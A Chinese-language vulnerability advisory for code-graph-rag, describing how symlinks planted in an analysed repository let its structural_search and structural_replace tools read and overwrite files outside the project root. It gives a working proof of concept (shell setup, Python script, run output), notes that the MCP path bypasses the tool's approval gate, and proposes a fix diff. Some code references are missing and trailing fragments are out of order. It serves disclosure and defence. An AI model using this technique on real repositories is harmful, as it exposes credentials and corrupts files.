CVE 状态: 已申请,等待分配。此发现已发布为 GHSA-85gg-2gfq-q95m。在 CVE 分配后,此仓库将重命名为
CVE-YYYY-NNNNN-code-graph-rag-PoC,并且此横幅将替换为 CVE 链接。
| 研究员 | Dostxodjayev Abdullox (@squeeze440) |
| 公告 | GHSA-85gg-2gfq-q95m |
| CVSS 3.1 | 7.1 (High) |
| 弱点 | CWE-59, CWE-22 |
摘要
能够将符号链接包含在 code-graph-rag 所分析的源代码仓库中的远程/本地攻击者,可以导致 structural_search 和 structural_replace 工具(由 AstGrepService 支持,既作为 MCP 工具暴露,也作为代理式 AI 工具暴露)读取任意文件,并且——通过 structural_replace 且 dry_run=False——覆盖配置的项目根目录之外的任意文件,因为该工具的路径包含检查(should_skip_path/_classify_file)是在未解析的路径上以词法方式执行的,从不检查 Path.is_symlink() 或调用 .resolve(),这与项目自身在其他地方使用的(正确的)validate_project_path 装饰器不同。
产品
vitali87/code-graph-rag(PyPI:code-graph-rag,CLI:cgr)
测试版本
提交 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57(pyproject 版本 0.0.550)——测试时的当前 main。确认此提交已包含针对先前公告(GHSA-vvr2-h2jp-838m:分页 read_file 路径遍历)的修复以及较新的 HTTP-MCP bearer 认证门控(codebase_rag/mcp/server.py 中的 _validate_http_exposure),因此这是一个在这些修复之上仍然存在的独立问题。
估计的 CVSS v3.1
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (High)
非显而易见的指标:
structural_search/structural_replace,读/写才会触发。详情
AstGrepService(codebase_rag/tools/ast_grep_service.py)同时支持 structural_search 和 structural_replace MCP/代理式工具。它使用 os.walk() 枚举候选文件,并且仅通过 should_skip_path() 对每个路径进行门控:
codebase_rag/tools/ast_grep_service.py:84-109(_iter_source_files)——使用 os.walk() 遍历 self.project_root;os.walk 返回的每个非目录 dirent(包括指向磁盘上任意位置的符号链接)都被视为范围内的文件。codebase_rag/tools/ast_grep_service.py:61-82(_classify_file)——唯一的包含检查是 should_skip_path(...),随后是 abs_path.relative_to(self.project_root)(第 82 行);abs_path 从未被解析,因此此检查纯粹基于词法/字符串。codebase_rag/utils/path_utils.py:80-109(should_skip_path)和 codebase_rag/utils/path_utils.py:35-37()——计算 ,从不调用 或 。此函数中没有任何内容将符号链接与真实文件区别对待。这与代码库其余部分处理完全相同风险类别的方式不一致。文件读取/写入/编辑工具(file_reader.py、file_writer.py、file_editor.py)都受到 validate_project_path(codebase_rag/decorators.py:73-75)的保护:
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)
.resolve() 在包含检查运行之前跟随符号链接,因此这些工具正确地拒绝根目录之外的目标。path_utils.py 自身的 absolute_path_within_project_root()(codebase_rag/utils/path_utils.py:156-176)在其文档字符串中明确记录了相同的原则:“resolve() 调用是承重的:包含检查是词法执行的,因此未解析的 .. 段或符号链接会逃逸根目录。”——但 structural_search/structural_replace 所使用的 should_skip_path()/AstGrepService 从未应用该模式。
两个工具的可达性/暴露:
structural_search(codebase_rag/tools/structural_search.py:24-46)完全没有 requires_approval 标志——MCP 客户端的模型可以在没有人工确认的情况下自主调用它。structural_replace(codebase_rag/tools/structural_editor.py:52-57)被标记为 requires_approval=True,但该标志仅由 pydantic-ai 自身的代理循环强制执行。MCP 服务器路径完全绕过它:MCPToolsRegistry.structural_replace(codebase_rag/mcp/tools.py:586-596)直接调用 self._structural_editor_tool.function(...),并且该 MCP 工具在 codebase_rag/mcp/tools.py:369-388(MCPToolName.STRUCTURAL_REPLACE 的 ToolMetadata)注册时没有任何审批概念——任何能够调用工具的 MCP 客户端都可以一次性以 dry_run=False 调用 。概念验证
针对已安装的包进行了动态确认(mgclient/pymgclient 的模拟方式与先前公告的 PoC 完全相同,因为此代码路径不需要 Memgraph 原生客户端)。
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService
SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)
matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN' (read escape)
changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())
实际运行输出(/tmp/poc_venv,包通过 pip install --no-deps -e . 从测试提交安装):
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
match in reported file='linked_module.py' text='API_TOKEN'
match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
structural_search(), attributed to a path 'inside' the project root.
[*] Calling AstGrepService.replace(pattern='API_TOKEN',
rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
wrote change to reported file='linked_module.py' matches=2
[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
(/tmp/poc_symlink/safe-project-root) was modified by structural_replace
via a symlink placed inside the root.
无截图——这是一个纯库/CLI 级别的发现,没有浏览器/GUI 组件。
影响
任何将 cgr(CLI、代理式 ask_agent 模式,或 MCP structural_search/structural_replace 工具)指向其未完全审计的仓库的操作者——这正是该工具所构建的用例(“查询、理解和编辑多语言代码库”)——都可能使该仓库中植入的符号链接被用于:
cgr 进程可读取的任何文件的内容(凭据、SSH 密钥、.env 文件、同级项目源代码),通过 structural_search,完全没有审批门控。cgr 进程可写入的任何文件的内容,通过 structural_replace(dry_run=False),在通过 MCP 协议调用时绕过工具自身的审批门控。这与 GHSA-vvr2-h2jp-838m 属于同一“被分析代码库中的恶意内容逃逸 project_root”的缺陷类别,但具有不同的根本原因(AstGrepService/should_skip_path 中缺少符号链接解析,CWE-59)以及在不同组件(codebase_rag/tools/ast_grep_service.py + codebase_rag/utils/path_utils.py,而非 codebase_rag/mcp/tools.py 的分页 read_file)中不同的、更严重的汇聚点(任意写入,而不仅仅是读取)。它与先前公告的易受攻击行范围或修复没有重叠。
弱点
修复
将 validate_project_path(codebase_rag/decorators.py:73-75)和 absolute_path_within_project_root(codebase_rag/utils/path_utils.py:156-176)已经使用的相同“先解析后包含”模式应用于 should_skip_path。拒绝任何解析后(跟随符号链接后)位置逃逸已解析项目根目录的路径,而不是仅检查未解析的路径字符串:
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
_is_file = path.is_file() if is_file is None else is_file
if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
return True
+ # Reject symlinks (or any path) that resolve outside the project root,
+ # mirroring validate_project_path's decorator (decorators.py:73-75) and
+ # absolute_path_within_project_root (this module, below).
+ try:
+ path.resolve().relative_to(repo_path.resolve())
+ except ValueError:
+ return True
rel_path = cached_relative_path(path, repo_path)
具体而言:should_skip_path 中的这一处更改同时修复了 _classify_file(搜索)和 _iter_source_files(替换)中的 os.walk 过滤,因为两者都经过它。作为纵深防御,_iter_source_files 还可以在 os.walk 期间直接跳过符号链接的 dirent(entry.is_symlink()),因为 AI 驱动的代码分析工具从一开始就不应需要遍历索引根目录之外的内容。
致谢
Dostxodjayev Abdullox(GitHub:squeeze440)
报告渠道
私有漏洞报告(PVR)已确认在 vitali87/code-graph-rag 上启用;本报告旨在通过该渠道(GitHub Security Advisories)提交,与该仓库现有的已发布公告(GHSA-vvr2-h2jp-838m)保持一致。
cached_relative_pathrel_path = file_path.relative_to(repo_path).resolve()Path.is_symlink()codebase_rag/tools/ast_grep_service.py:143-144(search)——source = self._read(abs_path) 调用 path.read_text(),Python 会跟随符号链接到其真实目标,无论该目标位于何处。codebase_rag/tools/ast_grep_service.py:187-208(replace),特别是第 208 行——当 dry_run=False 时执行 abs_path.write_text(new_source, ...),同样跟随符号链接并覆盖真实目标文件的内容。structural_replace